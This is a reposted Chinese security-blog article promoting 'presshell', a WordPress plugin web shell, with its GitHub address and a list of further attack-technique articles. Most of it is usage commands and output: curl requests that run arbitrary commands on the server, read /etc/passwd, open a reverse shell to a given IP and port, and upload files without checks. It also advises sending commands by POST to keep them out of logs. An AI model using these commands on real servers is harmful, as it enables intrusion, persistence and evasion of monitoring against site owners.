神兵利器 - presshell
2022-7-12 00:2:10 Author: 橘猫学安全(查看原文) 阅读量:16 收藏

文章来源 :Khan安全攻防实验室

在您的 wordpress 服务器上执行 shell 命令。上传的 shell 可能会在

<your-host>/wp-content/plugins/shell/shell.php

安装

要安装 shell,我们假设您拥有 Wordpress 的管理权限并且可以安装插件,因为将 PHP 文件传输到媒体库无论如何都不应该工作。否则,你有一个更大的问题。

只需将位于 Releases 部分的 zip 文件作为新扩展上传,您就可以开始使用了。

用法

使用 shell 很简单。只需将 sh命令作为参数传递给 shell:

curl ' http://host/.../shell.php?cmd=uname+-a ' Linux wordpress-server 2.6.32-21-generic-pae # 32-Ubuntu SMP Fri Apr 16 09:39:35 UTC 2010 i686 GNU/Linux

您也可以在 POST 请求中传递这些参数,这是将命令排除在日志之外的推荐方法。

curl ' http://host/.../shell.php ' --data-urlencode ' cmd=ls ' LICENSE README.md shell.php

还支持更复杂的命令,但请注意您的引用。

curl ' http://host/.../shell.php ' --data-urlencode ' cmd=cat /etc/passwd | grep -v "\(false\|nologin\)" ' root:x:0:0:root:/root:/bin/bash sync:x:4:65534:sync:/bin:/bin/sync
curl ' http://host/.../shell.php ' --data-urlencode ' cmd=python -c "from urllib.parse import urlencode; print(urlencode({\"cmd\": \"uname -a\"}))" ' cmd=uname+-a

您还可以使用ipport参数打开反向 shell。默认端口是443.

curl ' http://host/.../shell.php ' --data-urlencode ' ip=127.0.0.1 '
curl ' http://host/.../shell.php ' --data-urlencode ' ip=127.0.0.1 ' --data-urlencode ' port=1337 '

为了方便,还提供了一个选项,可以无条件地将文件上传到插件的目录,而无需检查

curl 'http://host/.../shell.php' -F 'file=@some_file'curl 'http://host/.../shell.php' --data-urlencode 'cmd=ls'LICENSEREADME.mdshell.phpsome_file

对公共或私人服务器进行未经授权的攻击是非法的。此存储库的内容仅用于教育目的,如果不正确使用所提供的材料,作者将不承担任何责任。

项目地址:

https://github.com/scheatkode/presshell

侵权请私聊公众号删文

推荐阅读

XSS 实战思路总结

内网信息收集总结

xss攻击、绕过最全总结

一些webshell免杀的技巧

命令执行写webshell总结

SQL手工注入总结 必须收藏

后台getshell常用技巧总结

web渗透之发现内网有大鱼

蚁剑特征性信息修改简单过WAF

查看更多精彩内容,还请关注橘猫学安全

每日坚持学习与分享,觉得文章对你有帮助可在底部给点个“再看


文章来源: http://mp.weixin.qq.com/s?__biz=Mzg5OTY2NjUxMw==&mid=2247493978&idx=1&sn=4af9c03df6d53b0ecd1051397ebfd263&chksm=c04d6e64f73ae77284dfd7bc17e88aa9253b91c84a97d79eaf8612f625061f0e62c708a39ae9#rd
如有侵权请联系:admin#unsafe.sh